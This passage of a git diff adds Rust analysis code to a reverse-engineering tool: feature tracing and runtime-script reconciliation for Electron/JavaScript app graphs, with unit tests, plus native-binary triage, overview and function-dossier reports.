Any, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default)] +#[serde(rename_all = "kebab-case")] +pub enum Direction { + Outgoing, + Incoming, + #[default] + Both, +} + +/// Node kinds we report but never walk through (they connect everything to everything). +const TERMINAL: &[&str] = &["module", "html", "package", "external", "source-map", "vendor"]; + +fn label_matches(label: &str, value: &str, exact: bool) -> bool { + if exact { label == value } else { label.to_lowercase().contains(&value.to_lowercase()) } +} + +/// Nodes matching a seed (at most 32). +pub fn find_seeds(g: &AppGraph, kind: SeedKind, value: &str, exact: bool) -> Vec { + let kinds: &[&str] = match kind { + SeedKind::Node => return g.nodes.iter().filter(|n| n.id == value).map(|n| n.id.clone()).collect(), + SeedKind::Module => &["module", "html"], + SeedKind::Function => &["function"], + SeedKind::IpcChannel => &["ipc-channel"], + SeedKind::Endpoint => &["endpoint"], + SeedKind::Route => &["route"], + SeedKind::Api => &["exposed-api", "exposed-member"], + SeedKind::String | SeedKind::Any => &[], + }; + let mut out: Vec = Vec::new(); + for n in &g.nodes { + let kind_ok = kinds.is_empty() || kinds.contains(&n.kind.as_str()); + let mut hit = kind_ok && label_matches(&n.label, value, exact); + if !hit && kind == SeedKind::Function && exact { + hit = n.kind == "function" && n.label.rsplit('.').next() == Some(value); + } + if !hit && kind == SeedKind::Module && n.kind == "module" { + hit = n.label.ends_with(&format!("/{value}")); + } + if !hit && kind == SeedKind::String && n.kind == "function" { + hit = n.attrs.get("strings").and_then(Value::as_array).is_some_and(|a| a.iter().filter_map(Value::as_str).any(|s| label_matches(s, value, exact))); + } + if hit && !out.contains(&n.id) { + out.push(n.id.clone()); + } + if out.len() >= 32 { + break; + } + } + out +} + +#[derive(Debug, Clone, Default, PartialEq, Serialize, Deserialize)] +pub struct FeatureTrace { + pub seeds: Vec, + pub nodes: Vec, + pub edges: Vec, + /// Paths from the seed outwards (what it leads to), as readable steps. + pub outgoing_chains: Vec>, + /// Paths into the seed (what leads to it), nearest step first. + pub incoming_chains: Vec>, + /// The longest incoming chain, the seed, then the longest outgoing chain. + pub story: Vec, + /// Node labels grouped by process role (renderer, preload, main…). + pub by_role: BTreeMap>, + pub truncated: bool, +} + +pub fn describe(n: &Node) -> String { + match (&n.module, n.line) { + (Some(m), Some(l)) if n.kind != "module" => format!("{}: {} ({m}:{l})", n.kind, n.label), + _ => format!("{}: {}", n.kind, n.label), + } +} + +struct Adjacency<'g> { + out: HashMap<&'g str, Vec<&'g Edge>>, + inc: HashMap<&'g str, Vec<&'g Edge>>, +} + +fn adjacency(g: &AppGraph) -> Adjacency<'_> { + let mut out: HashMap<&str, Vec<&Edge>> = HashMap::new(); + let mut inc: HashMap<&str, Vec<&Edge>> = HashMap::new(); + for e in &g.edges { + out.entry(e.from.as_str()).or_default().push(e); + inc.entry(e.to.as_str()).or_default().push(e); + } + Adjacency { out, inc } +} + +/// Nodes and edges gathered across walks. +#[derive(Default)] +struct Collected { + seen: BTreeSet, + edges: BTreeSet, +} + +/// Breadth-first walk from the seeds in one direction. Returns parent links (child → parent). +fn walk<'g>( + g: &'g AppGraph, + adj: &Adjacency<'g>, + seeds: &[String], + forward: bool, + max_depth: usize, + max_nodes: usize, + acc: &mut Collected, +) -> (HashMap, bool) { + let Collected { seen, edges } = acc; + let index: HashMap<&str, &Node> = g.nodes.iter().map(|n| (n.id.as_str(), n)).collect(); + let mut parent: HashMap = HashMap::new(); + let mut q: VecDeque<(String, usize)> = seeds.iter().map(|s| (s.clone(), 0)).collect(); + let mut visited: BTreeSet = seeds.iter().cloned().collect(); + let mut truncated = false; + while let Some((id, depth)) = q.pop_front() { + let is_seed = seeds.contains(&id); + if depth >= max_depth { + continue; + } + if !is_seed && index.get(id.as_str()).is_some_and(|n| TERMINAL.contains(&n.kind.as_str())) { + continue; + } + let list = if forward { adj.out.get(id.as_str()) } else { adj.inc.get(id.as_str()) }; + for e in list.into_iter().flatten() { + // From a module seed, only follow what it defines/creates, not every import. + let next = if forward { &e.to } else { &e.from }; + if seen.len() >= max_nodes && !seen.contains(next) { + truncated = true; + continue; + } + edges.insert((*e).clone()); + seen.insert(next.clone()); + if visited.insert(next.clone()) { + parent.insert(next.clone(), id.clone()); + q.push_back((next.clone(), depth + 1)); + } + } + } + (parent, truncated) +} + +fn chains(g: &AppGraph, parent: &HashMap, limit: usize) -> Vec> { + let index: HashMap<&str, &Node> = g.nodes.iter().map(|n| (n.id.as_str(), n)).collect(); + let has_child: BTreeSet<&String> = parent.values().collect(); + let mut leaves: Vec<&String> = parent.keys().filter(|k| !has_child.contains(k)).collect(); + leaves.sort(); + let mut out = Vec::new(); + for leaf in leaves { + let mut path = vec![leaf.clone()]; + let mut cur = leaf; + let mut guard = 0; + while let Some(p) = parent.get(cur) { + path.push(p.clone()); + cur = p; + guard += 1; + if guard > 256 { + break; + } + } + path.reverse(); + out.push(path.iter().map(|id| index.get(id.as_str()).map_or_else(|| id.clone(), |n| describe(n))).collect()); + if out.len() >= limit { + break; + } + } + out.sort_by_key(|c: &Vec| std::cmp::Reverse(c.len())); + out +} + +/// Trace a feature from its seed nodes. +pub fn follow_feature(g: &AppGraph, seeds: &[String], direction: Direction, max_depth: usize, max_nodes: usize) -> FeatureTrace { + let adj = adjacency(g); + let mut acc = Collected { seen: seeds.iter().cloned().collect(), edges: BTreeSet::new() }; + let mut t = FeatureTrace { seeds: seeds.to_vec(), ..Default::default() }; + if matches!(direction, Direction::Outgoing | Direction::Both) { + let (p, tr) = walk(g, &adj, seeds, true, max_depth, max_nodes, &mut acc); + t.outgoing_chains = chains(g, &p, 50); + t.truncated |= tr; + } + if matches!(direction, Direction::Incoming | Direction::Both) { + let (p, tr) = walk(g, &adj, seeds, false, max_depth, max_nodes, &mut acc); + t.incoming_chains = chains(g, &p, 50); + t.truncated |= tr; + } + let index: HashMap<&str, &Node> = g.nodes.iter().map(|n| (n.id.as_str(), n)).collect(); + t.nodes = acc.seen.iter().filter_map(|id| index.get(id.as_str()).map(|n| (*n).clone())).collect(); + t.edges = acc.edges.into_iter().collect(); + for n in &t.nodes { + let role = n.role.clone().unwrap_or_else(|| if n.module.is_none() { "shared".into() } else { "unknown".into() }); + t.by_role.entry(role).or_default().push(describe(n)); + } + let incoming = t.incoming_chains.first().cloned().unwrap_or_default(); + let outgoing = t.outgoing_chains.first().cloned().unwrap_or_default(); + let mut story: Vec = incoming.into_iter().rev().collect(); + let skip = usize::from(!story.is_empty()); + story.extend(outgoing.into_iter().skip(skip)); + if story.is_empty() { + story = seeds.iter().filter_map(|s| index.get(s.as_str()).map(|n| describe(n))).collect(); + } + t.story = story; + t +} + +/// A function-level view: what it calls, who calls it, what it touches. +pub fn trace_semantics(g: &AppGraph, seeds: &[String], max_depth: usize, max_functions: usize) -> Value { + let adj = adjacency(g); + let index: HashMap<&str, &Node> = g.nodes.iter().map(|n| (n.id.as_str(), n)).collect(); + let functions: Vec<&Node> = g.nodes.iter().filter(|n| n.kind == "function").collect(); + let mut reports = Vec::new(); + let mut unresolved: BTreeSet = BTreeSet::new(); + // Expand seeds to the functions they denote (a module seed means its functions). + let mut fn_seeds: Vec = Vec::new(); + for s in seeds { + match index.get(s.as_str()) { + Some(n) if n.kind == "function" => fn_seeds.push(s.clone()), + Some(_) => { + for e in adj.out.get(s.as_str()).into_iter().flatten().chain(adj.inc.get(s.as_str()).into_iter().flatten()) { + for end in [&e.from, &e.to] { + if index.get(end.as_str()).is_some_and(|n| n.kind == "function") && !fn_seeds.contains(end) { + fn_seeds.push(end.clone()); + } + } + } + } + None => {} + } + } + fn_seeds.truncate(max_functions); + for id in &fn_seeds { + let Some(n) = index.get(id.as_str()) else { continue }; + let calls: Vec = + n.attrs.get("calls").and_then(Value::as_array).map(|a| a.iter().filter_map(|v| v.as_str().map(String::from)).collect()).unwrap_or_default(); + let resolved: BTreeMap<&str, &str> = adj + .out + .get(id.as_str()) + .into_iter() + .flatten() + .filter(|e| e.kind == "calls") + .filter_map(|e| index.get(e.to.as_str()).map(|t| (t.label.as_str(), e.to.as_str()))) + .collect(); + let call_rows: Vec = calls + .iter() + .map(|c| { + let last = c.rsplit('.').next().unwrap_or(c); + let r = resolved.get(c.as_str()).or_else(|| resolved.get(last)); + if r.is_none() && !c.contains('.') && !is_builtin(c) { + unresolved.insert(c.clone()); + } + json!({"callee": c, "resolved": r}) + }) + .collect(); + // Callers: resolved edges, plus same-named calls elsewhere (inferred). + let mut callers: Vec = + adj.inc.get(id.as_str()).into_iter().flatten().filter(|e| e.kind == "calls").map(|e| json!({"function": e.from, "how": "resolved"})).collect(); + let short = n.label.rsplit('.').next().unwrap_or(&n.label); + for f in &functions { + if f.id == *id || callers.iter().any(|c| c["function"] == f.id.as_str()) { + continue; + } + let calls_it = f + .attrs + .get("calls") + .and_then(Value::as_array) + .is_some_and(|a| a.iter().filter_map(Value::as_str).any(|c| c == n.label || (c.ends_with(&format!(".{short}")) && n.label.contains('.')))); + if calls_it && callers.len() < 64 { + callers.push(json!({"function": f.id, "how": "same name (inferred)"})); + } + } + let touches: Vec = adj + .out + .get(id.as_str()) + .into_iter() + .flatten() + .filter(|e| e.kind != "calls") + .filter_map(|e| index.get(e.to.as_str()).map(|t| json!({"relation": e.kind, "node": t.id, "kind": t.kind, "label": t.label}))) + .collect(); + // Callee tree (resolved calls only), depth-limited. + let mut tree = Vec::new(); + let mut q: VecDeque<(String, usize)> = VecDeque::from([(id.clone(), 0)]); + let mut seen = BTreeSet::from([id.clone()]); + while let Some((cur, d)) = q.pop_front() { + if d >= max_depth || tree.len() >= 256 { + continue; + } + for e in adj.out.get(cur.as_str()).into_iter().flatten().filter(|e| e.kind == "calls") { + if seen.insert(e.to.clone()) { + if let Some(t) = index.get(e.to.as_str()) { + tree.push(json!({"depth": d + 1, "function": t.label, "node": t.id, "from": cur})); + } + q.push_back((e.to.clone(), d + 1)); + } + } + } + reports.push(json!({ + "node": n.id, "name": n.label, "module": n.module, "line": n.line, "role": n.role, + "params": n.attrs.get("params"), "strings": n.attrs.get("strings"), "exported": n.attrs.get("exported"), + "calls": call_rows, "callers": callers, "touches": touches, "callee_tree": tree, + })); + } + json!({"functions": reports, "unresolved_calls": unresolved.into_iter().take(200).collect::>(), "seed_functions": fn_seeds.len()}) +} + +fn is_builtin(name: &str) -> bool { + matches!( + name, + "require" + | "String" + | "Number" + | "Boolean" + | "Array" + | "Object" + | "JSON" + | "Promise" + | "Error" + | "Symbol" + | "parseInt" + | "parseFloat" + | "setTimeout" + | "setInterval" + | "clearTimeout" + | "clearInterval" + | "fetch" + | "encodeURIComponent" + | "decodeURIComponent" + | "isNaN" + | "Date" + | "Map" + | "Set" + | "RegExp" + | "console" + ) +} + +/// A script seen at run time (from a browser/Electron capture or a script export manifest). +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +pub struct RuntimeScript { + pub url: String, + #[serde(default)] + pub sha256: Option, +} + +/// Pull runtime scripts out of an observation's result, wherever it lists them. +pub fn runtime_scripts_from(result: &Value) -> Vec { + let mut out = Vec::new(); + let mut stack = vec![(result, 0usize)]; + while let Some((v, depth)) = stack.pop() { + if depth > 8 || out.len() >= 50_000 { + break; + } + match v { + Value::Object(m) => { + if let Some(url) = m.get("url").and_then(Value::as_str) + && (m.contains_key("sha256") || m.contains_key("source_sha256") || m.contains_key("script_id") || m.contains_key("path")) + { + let sha = m.get("sha256").or_else(|| m.get("source_sha256")).and_then(Value::as_str).map(String::from); + out.push(RuntimeScript { url: url.to_string(), sha256: sha }); + continue; + } + for x in m.values() { + stack.push((x, depth + 1)); + } + } + Value::Array(a) => { + for x in a { + stack.push((x, depth + 1)); + } + } + _ => {} + } + } + out +} + +/// Reconcile static layers with runtime observations. +pub fn reconcile(layers: &[(String, &AppGraph)], scripts: &[RuntimeScript]) -> Value { + let mut rows = Vec::new(); + let mut matched_runtime: BTreeSet = BTreeSet::new(); + let mut counts: BTreeMap = BTreeMap::new(); + for (role, g) in layers { + for m in g.modules.iter().filter(|m| m.kind == "script") { + let by_digest = scripts.iter().position(|s| s.sha256.as_deref() == Some(m.sha256.as_str())); + let by_location = scripts.iter().position(|s| url_matches_path(&s.url, &m.path)); + let (status, how, idx) = match (by_digest, by_location) { + (Some(i), _) => ("loaded", "digest", Some(i)), + (None, Some(i)) => { + let differs = scripts.get(i).and_then(|s| s.sha256.as_deref()).is_some_and(|s| s != m.sha256); + (if differs { "loaded-with-different-content" } else { "loaded" }, "location", Some(i)) + } + (None, None) if m.sha256.is_empty() => ("unknown", "no digest", None), + (None, None) => ("not-seen-running", "", None), + }; + if let Some(i) = idx { + matched_runtime.insert(i); + } + *counts.entry(status.to_string()).or_default() += 1; + rows.push(json!({"layer": role, "graph_id": g.graph_id, "module": m.path, "status": status, "matched_by": how, "runtime_url": idx.and_then(|i| scripts.get(i)).map(|s| &s.url)})); + for bm in &m.bundle_modules { + let st = if status == "loaded" { "inside-loaded-bundle" } else { "not-seen-running" }; + *counts.entry(st.to_string()).or_default() += 1; + if rows.len() < 20_000 { + rows.push(json!({"layer": role, "graph_id": g.graph_id, "module": format!("{}#{}", m.path, bm.id), "status": st, "matched_by": "containing file"})); + } + } + } + } + let runtime_only: Vec<&RuntimeScript> = scripts.iter().enumerate().filter(|(i, _)| !matched_runtime.contains(i)).map(|(_, s)| s).collect(); + json!({"modules": rows, "counts": counts, "runtime_only": runtime_only, "runtime_scripts": scripts.len()}) +} + +/// True when a runtime URL points at a static path (`file:///…/app.asar/renderer/app.js`, `https://host/assets/x.js`). +pub fn url_matches_path(url: &str, path: &str) -> bool { + let u = url.split(['?', '#']).next().unwrap_or(url); + let u = u.strip_prefix("file://").unwrap_or(u); + let p = path.trim_start_matches("./"); + !p.is_empty() && (u.ends_with(&format!("/{p}")) || u == p || u.ends_with(&format!(".asar/{p}"))) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn g() -> AppGraph { + crate::js_app::tests_support::notes_graph() + } + + #[test] + fn export_feature_crosses_all_three_layers() { + let g = g(); + let seeds = find_seeds(&g, SeedKind::IpcChannel, "export-notes", true); + assert_eq!(seeds, vec!["ipc:export-notes"]); + let t = follow_feature(&g, &seeds, Direction::Both, 8, 500); + let story = t.story.join(" -> "); + assert!(story.contains("exportNotes (renderer/app.js"), "{story}"); + assert!(story.contains("exposed-member: window.api.exportNotes"), "{story}"); + assert!(story.contains("ipcMain.handle(export-notes)"), "{story}"); + assert!(story.contains("fs.writeFileSync") || t.outgoing_chains.iter().flatten().any(|s| s.contains("fs.writeFileSync")), "{story}"); + assert!(t.by_role.contains_key("renderer") && t.by_role.contains_key("preload") && t.by_role.contains_key("main"), "{:?}", t.by_role.keys()); + } + + #[test] + fn seeds_by_function_and_string() { + let g = g(); + assert!(!find_seeds(&g, SeedKind::Function, "toCsv", true).is_empty()); + assert!(!find_seeds(&g, SeedKind::String, "notes.csv", false).is_empty()); + assert!(find_seeds(&g, SeedKind::Function, "nope", true).is_empty()); + let s = trace_semantics(&g, &find_seeds(&g, SeedKind::Function, "toCsv", true), 4, 16); + let callers = s["functions"][0]["callers"].as_array().unwrap(); + assert!(callers.iter().any(|c| c["function"].as_str().unwrap().contains("ipcMain.handle(export-notes)")), "{s}"); + } + + #[test] + fn reconcile_statuses() { + let g = g(); + let app = g.module("renderer/app.js").unwrap().sha256.clone(); + let scripts = vec![ + RuntimeScript { url: "file:///opt/Notes/resources/app.asar/renderer/app.js".into(), sha256: Some(app) }, + RuntimeScript { url: "https://cdn.example/x.js".into(), sha256: None }, + ]; + let r = reconcile(&[("application".into(), &g)], &scripts); + assert_eq!(r["counts"]["loaded"], 1); + assert_eq!(r["runtime_only"].as_array().unwrap().len(), 1); + assert!(r["counts"]["not-seen-running"].as_u64().unwrap() >= 2); + let found = runtime_scripts_from(&json!({"capture": {"scripts": [{"url": "a.js", "sha256": "x"}]}})); + assert_eq!(found.len(), 1); + } +} diff --git a/desktop/crates/analysis/src/lib.rs b/desktop/crates/analysis/src/lib.rs new file mode 100644 index 0000000..b079aed --- /dev/null +++ b/desktop/crates/analysis/src/lib.rs @@ -0,0 +1,16 @@ +//! Analyzers that turn parsed targets into evidence for REI Reverse Engineer. +#![deny(clippy::unwrap_used, clippy::expect_used, clippy::panic, clippy::unimplemented, clippy::todo, clippy::unreachable)] + +pub mod function_match; +pub mod java_decompile; +pub mod js_app; +pub mod js_compare; +pub mod js_inventory; +pub mod js_ledger; +pub mod js_projection; +pub mod js_source; +pub mod js_trace; +pub mod native; +pub mod standin; +pub mod web_har; +pub mod web_scripts; diff --git a/desktop/crates/analysis/src/native.rs b/desktop/crates/analysis/src/native.rs new file mode 100644 index 0000000..32629ad --- /dev/null +++ b/desktop/crates/analysis/src/native.rs @@ -0,0 +1,1246 @@ +//! Native-code workflows over the built-in engine: triage, overview, function dossiers, call +//! graphs and paths, feature tracing, API boundaries, Objective-C/Swift metadata, UI action +//! traces and value flow. Each returns a [`Report`] the engine turns into evidence. + +use craft_anything_disasm::dataflow::def_use; +use craft_anything_disasm::pseudo::lift; +use craft_anything_disasm::{Function, Image, Program, XrefKind}; +use craft_anything_evidence::{Confidence, Limitation, Location}; +use craft_anything_formats::hints::{Hint, detect}; +use craft_anything_formats::{Binary, Format}; +use serde_json::{Value, json}; +use std::collections::{BTreeMap, BTreeSet, VecDeque}; + +/// What an analysis produced, before it becomes evidence. +#[derive(Debug, Clone)] +pub struct Report { + pub result: Value, + pub summary: String, + pub confidence: Confidence, + pub limitations: Vec, + pub locations: Vec, +} + +impl Report { + fn new(result: Value, summary: impl Into, confidence: Confidence) -> Self { + Report { result, summary: summary.into(), confidence, limitations: Vec::new(), locations: Vec::new() } + } + + fn limit(mut self, code: &str, msg: impl Into) -> Self { + self.limitations.push(Limitation::new(code, msg)); + self + } +} + +/// Resolves user-given names (annotations) before the engine's own. +pub type Names<'a> = &'a dyn Fn(u64) -> Option; + +fn hex(a: u64) -> String { + format!("{a:#x}") +} + +fn fname(prog: &Program, names: Names<'_>, a: u64) -> String { + names(a).or_else(|| prog.name_at(a)).unwrap_or_else(|| format!("sub_{a:x}")) +} + +fn program_limitations(prog: &Program) -> Vec { + prog.limitations.iter().map(|(c, m)| Limitation::new(c.clone(), m.clone())).collect() +} + +// --------------------------------------------------------------------------------------------- +// Triage + +/// A plain-English description of what a native binary is, plus where to go next. +pub fn triage(bin: &Binary, data: &[u8], file_name: &str) -> Report { + let hints = detect(bin, data); + let os = match bin.format { + Format::Elf => { + if bin.libraries.iter().any(|l| l.contains("liblog.so") || l.contains("libandroid")) { + "Android" + } else { + "Linux" + } + } + Format::Pe => "Windows", + Format::MachO => match bin.info.get("platform").map(String::as_str) { + Some("ios") | Some("ios-simulator") => "iPhone/iPad", + Some("macos") | None => "Mac", + Some(_) => "Apple", + }, + Format::DosMz | Format::DosCom => "DOS", + Format::Coff => "Windows (object file)", + Format::Raw => "no operating system (raw code)", + }; + let what = match bin.kind { + "shared-library" => "a library (code other programs load)", + "relocatable" => "an object file (not linked into a program yet)", + "core" => "a crash dump (memory of a program that crashed)", + _ => "a program", + }; + let lang: Vec<&Hint> = hints.iter().filter(|h| matches!(h.category, "language" | "runtime" | "framework")).collect(); + let packers: Vec<&Hint> = hints.iter().filter(|h| matches!(h.category, "packer" | "protector" | "installer")).collect(); + let has = |id: &str| hints.iter().any(|h| h.id == id); + // An AnyCPU .NET assembly has a 32-bit PE header but runs at the machine's own size. + let managed = if has("dotnet") { craft_anything_formats::dotnet::pe::parse_pe(data).ok().map(|p| p.dotnet_arch()) } else { None }; + let built_for = match managed.as_deref() { + Some("anycpu") => "any CPU (64-bit on a 64-bit system)".to_string(), + Some("anycpu-prefer-32") => "any CPU, preferring 32-bit".to_string(), + _ => format!("{} ({}-bit)", bin.arch.name(), bin.bits), + }; + let mut plain = format!("{file_name} is {what} for {os}, built for {built_for}."); + if let Some(l) = lang.first() { + plain.push_str(&format!(" It looks like it was made with {}.", l.label)); + } + if !packers.is_empty() { + plain.push_str(&format!( + " It appears to be packed or protected ({}), so most of its real code is hidden until it runs.", + packers.iter().map(|p| p.label.as_str()).collect::>().join(", ") + )); + } + // .NET metadata and Go's pclntab keep function names even without a native symbol table. + let names_kept_in = if has("dotnet") { + Some(".NET metadata") + } else if has("go") { + Some("Go's function table (pclntab)") + } else { + None + }; + let stripped = bin.mitigations.stripped && bin.format != Format::Raw && names_kept_in.is_none(); + if stripped { + plain.push_str(" Its internal names were removed (stripped), so most functions will have generated names."); + } else if let (true, Some(source)) = (bin.mitigations.stripped, names_kept_in) { + plain.push_str(&format!(" It has no native symbol table, but its function names are kept in {source}.")); + } + // Recommendations. + let mut toolsets: Vec<&str> = vec!["core", "native"]; + let mut tools: Vec<(&str, &str)> = vec![ + ("core_overview_show", "a one-page summary: sections, imports, counts"), + ("native_functions_list", "every function we found"), + ("native_strings_find", "find text the program shows or uses"), + ("native_function_study", "a full dossier on one function (start with main or the entry point)"), + ("core_feature_find", "follow a word you see in the app to the code behind it"), + ]; + if has("dotnet") { + toolsets.push("managed"); + tools.insert(0, ("managed_assembly_show", ".NET code decompiles far better as .NET than as machine code")); + } + if has("go") { + toolsets.push("formats"); + tools.insert(0, ("native_go_binary_show", "Go keeps function names and package paths even when stripped")); + } + if has("electron") { + toolsets.push("javascript"); + tools.insert(0, ("js_app_map", "the app's logic is JavaScript inside resources/app.asar, not in this file")); + } + if has("flutter") { + toolsets.push("android"); + tools.insert(0, ("android_flutter_identify", "Flutter apps keep their Dart code in a snapshot (libapp.so)")); + } + if bin.format == Format::MachO || has("objc") || has("swift") { + toolsets.push("apple"); + tools.push(("apple_objc_classes_list", "Objective-C classes and their methods")); + tools.push(("apple_macho_show", "load commands, linked libraries, code signature")); + } + if bin.format == Format::Pe { + toolsets.push("formats"); + tools.push(("native_pe_resources_list", "icons, version information and the manifest")); + } + if bin.format == Format::Elf { + toolsets.push("formats"); + tools.push(("native_layout_show", "segments, symbols, relocations and hardening")); + } + if bin.kind == "core" { + tools.insert(0, ("native_crash_show", "which signal killed it, registers, and where it was")); + } + if matches!(bin.format, Format::DosMz | Format::DosCom) { + tools.insert(0, ("native_dos_image_show", "check the DOS load image: header, relocations, entry")); + } + if !packers.is_empty() { + tools.insert(0, ("core_overview_show", "check section entropy; packed code must be unpacked (run in a sandbox) before static analysis helps")); + } + toolsets.dedup(); + let mut seen = BTreeSet::new(); + let next: Vec = tools.into_iter().filter(|(t, _)| seen.insert(*t)).map(|(t, why)| json!({"tool": t, "why": why})).collect(); + let result = json!({ + "plain_english": plain, + "format": bin.format, + "format_name": bin.format.plain(), + "operating_system": os, + "kind": bin.kind, + "architecture": bin.arch.name(), + "bits": bin.bits, + "dotnet_arch": managed, + "entry_point": bin.entry.map(hex), + "stripped": stripped, + "symbol_table_stripped": bin.mitigations.stripped, + "libraries": bin.libraries.iter().take(32).collect::>(), + "toolchain_hints": hints, + "recommended_toolsets": toolsets, + "next_steps": next, + }); + let mut r = Report::new(result, plain, if hints.iter().any(|h| h.strength == "weak") { Confidence::Inferred } else { Confidence::Observed }); + r.limitations.push(Limitation::new("heuristic_hints", "toolchain and packer hints come from markers that can be faked or borrowed")); + if let Some(e) = bin.entry { + r.locations.push(Location::address(e).with_label("entry point")); + } + r +} + +// --------------------------------------------------------------------------------------------- +// Overview + +pub fn overview(img: &Image, prog: &Program, file_name: &str) -> Report { + let bin = &img.bin; + let hints = detect(bin, &img.data); + let segments: Vec = if bin.segments.is_empty() { + bin.sections.iter().take(256).map(|s| json!({"name": s.name, "start": hex(s.addr), "end": hex(s.addr.saturating_add(s.size)), "size": s.size, "perms": perms(s.read, s.write, s.exec), "kind": s.kind, "entropy": s.entropy})).collect() + } else { + bin.segments.iter().take(256).map(|s| json!({"name": s.name, "start": hex(s.addr), "end": hex(s.addr.saturating_add(s.size)), "size": s.size, "perms": perms(s.read, s.write, s.exec)})).collect() + }; + let generated = prog.functions.values().filter(|f| f.name_source == "generated").count(); + let result = json!({ + "file": file_name, + "format": bin.format, + "kind": bin.kind, + "architecture": bin.arch.name(), + "bits": bin.bits, + "endianness": if bin.little_endian { "little" } else { "big" }, + "entry_point": bin.entry.map(hex), + "image_base": hex(bin.image_base), + "segments": segments, + "section_count": bin.sections.len(), + "counts": { + "functions": prog.functions.len(), + "functions_with_generated_names": generated, + "basic_blocks": prog.stats.blocks, + "instructions": prog.stats.instructions, + "strings": prog.strings.len(), + "imports": bin.imports.len(), + "exports": bin.exports.len(), + "symbols": bin.symbols.len(), + "cross_references": prog.stats.xrefs, + "jump_tables": prog.stats.jump_tables, + }, + "libraries": bin.libraries, + "mitigations": bin.mitigations, + "info": bin.info, + "toolchain_hints": hints, + "discovered_by": prog.stats.discovered_by, + "warnings": bin.warnings, + }); + let summary = format!( + "{} {} for {} with {} functions, {} strings, {} imports from {} libraries.", + bin.format.plain(), + bin.kind, + bin.arch.name(), + prog.functions.len(), + prog.strings.len(), + bin.imports.len(), + bin.libraries.len() + ); + let summary = if prog.discovery_capped() { + format!("{summary} Function discovery stopped at an analysis limit, so the function list is incomplete.") + } else { + summary + }; + let mut r = Report::new(result, summary, Confidence::Derived); + r.limitations = program_limitations(prog); + if let Some(e) = bin.entry { + r.locations.push(Location::address(e).with_label("entry point")); + } + r +} + +fn perms(r: bool, w: bool, x: bool) -> String { + format!("{}{}{}", if r { 'r' } else { '-' }, if w { 'w' } else { '-' }, if x { 'x' } else { '-' }) +} + +// --------------------------------------------------------------------------------------------- +// Function dossier + +/// Facts about one function: entry, size, blocks, calls, references. +pub fn function_info(prog: &Program, f: &Function, names: Names<'_>) -> Value { + let callers = prog.callers(f.entry); + json!({ + "name": fname(prog, names, f.entry), + "default_name": f.name, + "name_source": f.name_source, + "entry": hex(f.entry), + "end": hex(f.end), + "size": f.size(), + "instructions": f.insn_count, + "basic_blocks": f.blocks.len(), + "body_ranges": f.blocks.iter().map(|b| json!([hex(b.start), hex(b.end)])).collect::>(), + // A tail call (a jump into another function) is a call too. + "calls_out": f.calls.len() + f.tail_calls.len(), + "tail_calls": f.tail_calls.len(), + "callers": callers.len(), + "returns": f.returns, + "thunk_of": f.thunk_of, + "discovered_by": f.discovered_by, + "jump_tables": f.jump_tables, + "unresolved_indirect_jumps": f.unresolved_indirect_jumps, + "truncated": f.truncated, + }) +} + +fn strings_used(prog: &Program, f: &Function) -> Vec { + let mut out = Vec::new(); + let mut seen = BTreeSet::new(); + for (from, xs) in prog.xrefs_from.range(f.entry..f.end.max(f.entry + 1)) { + if !f.contains(*from) { + continue; + } + for x in xs.iter().filter(|x| x.kind == XrefKind::String) { + if let Some(s) = prog.string_at(x.to) + && seen.insert(s.addr) + { + out.push(json!({"address": hex(s.addr), "from": hex(*from), "text": s.text})); + } + } + } + out +} + +fn refs(prog: &Program, f: &Function, names: Names<'_>, outgoing: bool) -> Vec { + let mut out = Vec::new(); + if outgoing { + for (from, xs) in prog.xrefs_from.range(f.entry..f.end.max(f.entry + 1)) { + if !f.contains(*from) { + continue; + } + for x in xs { + if x.kind == XrefKind::Jump && f.contains(x.to) { + continue; + } + out.push(json!({"from": hex(x.from), "to": hex(x.to), "kind": x.kind, "name": names(x.to).or_else(|| prog.name_at(x.to))})); + } + } + } else if let Some(xs) = prog.xrefs_to.get(&f.entry) { + for x in xs { + let caller = prog.function_containing(x.from); + if caller.is_some_and(|c| c.entry == f.entry) && x.kind == XrefKind::Jump { + continue; + } + out.push(json!({"from": hex(x.from), "to": hex(x.to), "kind": x.kind, "function": caller.map(|c| fname(prog, names, c.entry))})); + } + } + out +} + +pub fn callees(prog: &Program, f: &Function, names: Names<'_>) -> Vec { + prog.callees(f) + .into_iter() + .map(|c| { + let name = c.target.and_then(names).or(c.name); + json!({"site": hex(c.site), "target": c.target.map(hex), "name": name, "import": c.import, "indirect": c.indirect}) + }) + .collect() +} + +pub fn callers(prog: &Program, f: &Function, names: Names<'_>) -> Vec { + prog.callers(f.entry) + .into_iter() + .map(|(site, caller)| json!({"site": hex(site), "caller": caller.map(hex), "name": caller.map(|c| fname(prog, names, c))})) + .collect() +} + +/// Category of an imported API, for the API-boundary view. +pub fn api_category(name: &str) -> &'static str { + let n = name.trim_start_matches('_').to_ascii_lowercase(); + let has = |xs: &[&str]| xs.iter().any(|x| n.contains(x)); + if has(&["socket", "connect", "send", "recv", "http", "internet", "winhttp", "getaddrinfo", "curl", "ssl_", "nsurl", "wsa"]) { + "network" + } else if has(&[ + "fopen", + "open", + "read", + "write", + "createfile", + "readfile", + "writefile", + "unlink", + "deletefile", + "stat", + "mkdir", + "fclose", + "fread", + "fwrite", + "nsfilemanager", + ]) { + "files" + } else if has(&["exec", "fork", "spawn", "createprocess", "shellexecute", "system", "popen", "kill", "terminateprocess", "ptrace"]) { + "processes" + } else if has(&["reg", "nsuserdefaults", "cfpreferences", "getenv", "setenv"]) { + "settings" + } else if has(&["crypt", "aes", "sha", "md5", "rand", "bcrypt", "evp_", "cc_sha", "seckey"]) { + "crypto" + } else if has(&["malloc", "free", "calloc", "realloc", "virtualalloc", "mmap", "munmap", "heap", "new", "delete", "memcpy", "memset", "memmove"]) { + "memory" + } else if has(&["window", "dialog", "messagebox", "button", "nsapp", "uiapp", "gtk_", "qwidget", "msgsend", "sendmessage", "postmessage"]) { + "user_interface" + } else if has(&["thread", "mutex", "lock", "semaphore", "dispatch_", "criticalsection", "wait"]) { + "threads" + } else if has(&["printf", "puts", "str", "fmt", "scanf", "strlen", "strcmp", "strcpy", "wcs"]) { + "text" + } else if has(&["dlopen", "dlsym", "loadlibrary", "getprocaddress"]) { + "dynamic_loading" + } else if has(&["exit", "abort", "atexit", "terminate"]) { + "lifecycle" + } else { + "other" + } +} + +/// API boundary of one function: what it imports, grouped, plus indirect 